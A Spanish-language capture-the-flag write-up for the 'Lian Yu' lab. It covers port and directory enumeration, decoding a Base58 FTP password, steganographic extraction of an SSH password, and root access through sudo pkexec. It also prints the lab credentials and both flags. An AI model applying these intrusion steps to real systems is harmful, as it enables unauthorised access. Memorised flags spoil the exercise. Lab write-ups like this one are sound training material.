Lian Yu

Fase 1 — Enumeración
Fase 1.1 — Nmap Port Scan
Comando ejecutado:
nmap -sC -sV -oN lian_yu.nmap <TARGET_IP>
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.2 |
| 22/tcp | SSH | OpenSSH 6.7p1 Debian |
| 80/tcp | HTTP | Apache httpd |
| 111/tcp | RPC | bind 2-4 |
Hallazgos:
- Título HTTP:
Purgatory - FTP vsftpd 3.0.2 → posible acceso anónimo
- SSH versión antigua 6.7p1

Fase 1.2 — Enumeración Web
Comando 1 — Gobuster puerto 80:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
Directorios descubiertos:
/island→ Status 301/server-status→ Status 403

Comando 2 — Visita /island y revisión del código fuente:
http://<TARGET_IP>/island
Hallazgos:
- Texto oculto en color blanco en el HTML:
vigilante→ usuario FTP - Comentario en el código:
<!--go!go!go!-->

Comando 3 — Gobuster en /island:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP>/island -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
Directorios descubiertos:
/island/2100→ Status 301

Comando 4 — Visita /island/2100 y revisión del código fuente:
http://<TARGET_IP>/island/2100
Hallazgos:
- Comentario oculto:
<!--you can avail your .ticket here but how?--> - Pista → extensión
.ticket

Comando 5 — Gobuster buscando extensión .ticket:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP>/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x ticket -t 50
Hallazgos:
green_arrow.ticket→ Status 200

Comando 6 — Leer el ticket y decodificar Base58:
# [MÁQUINA ATACANTE]
curl http://<TARGET_IP>/island/2100/green_arrow.ticket
echo "RTy8yhBQdscX" | base58 -d
Hallazgos:
- Token Base58:
RTy8yhBQdscX - Password FTP:
!#th3h00d
Credenciales FTP obtenidas:
| Campo | Valor |
|---|---|
| Usuario | vigilante |
| Password | !#th3h00d |


Fase 1.3 — Enumeración FTP y Esteganografía
Comando 1 — Login FTP:
# [MÁQUINA ATACANTE]
ftp <TARGET_IP>
# Usuario: vigilante
# Password: !#th3h00d
ls -la
Hallazgos:
Leave_me_alone.png→ archivo con cabecera corruptaQueen's_Gambit.pngaa.jpg.other_user→ archivo oculto con info del usuarioslade

Comando 2 — Descargar archivos:
# [MÁQUINA ATACANTE - sesión FTP]
get Leave_me_alone.png
get Queen's_Gambit.png
get aa.jpg
get .other_user

Comando 3 — Leer .other_user:
# [MÁQUINA ATACANTE]
cat .other_user
Hallazgos:
- Texto sobre Slade Wilson → segundo usuario del sistema:
slade

Comando 4 — Análisis con exiftool:
# [MÁQUINA ATACANTE]
exiftool Leave_me_alone.png
exiftool aa.jpg
exiftool Queen\'s_Gambit.png
Hallazgos:
Leave_me_alone.png→ File format error → cabecera corrupta

Comando 5 — Verificar y reparar cabecera PNG:
# [MÁQUINA ATACANTE]
xxd Leave_me_alone.png | head -2
hexeditor Leave_me_alone.png
# Cambiar primeros bytes a: 89 50 4E 47 0D 0A 1A 0A
exiftool Leave_me_alone.png
Hallazgos:
- Imagen reparada muestra:
password→ contraseña para steghide


Comando 6 — Extracción esteganográfica:
# [MÁQUINA ATACANTE]
steghide extract -sf aa.jpg -p password
unzip ss.zip
cat passwd.txt
cat shado
Hallazgos:
ss.zipextraído deaa.jpgpasswd.txt→ texto de relleno sin credenciales útilesshado→M3tahuman→ contraseña SSH



Fase 2 — Foothold
Fase 2.1 — Acceso SSH como slade
Comando ejecutado:
# [MÁQUINA ATACANTE]
ssh slade@<TARGET_IP>
# Password: M3tahuman
Hallazgos:
- Acceso exitoso como slade
- Banner:
WELCOME2 LIAN_YU

Fase 2.2 — User Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
ls -la
cat user.txt
User Flag: THM{P30P7E_K33P_53CRET5__COMPUT3R5_D0N'T}

Fase 3 — Escalada de Privilegios
Fase 3.1 — Escalada a Root vía pkexec
Comando 1 — Verificar permisos sudo:
# [MÁQUINA OBJETIVO]
sudo -l
Hallazgos:
sladepuede ejecutar/usr/bin/pkexeccomo root sin contraseña

Comando 2 — Escalada a root:
# [MÁQUINA OBJETIVO]
sudo pkexec /bin/bash
whoami
Fase 3.2 — Root Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
cat root.txt
Root Flag: THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
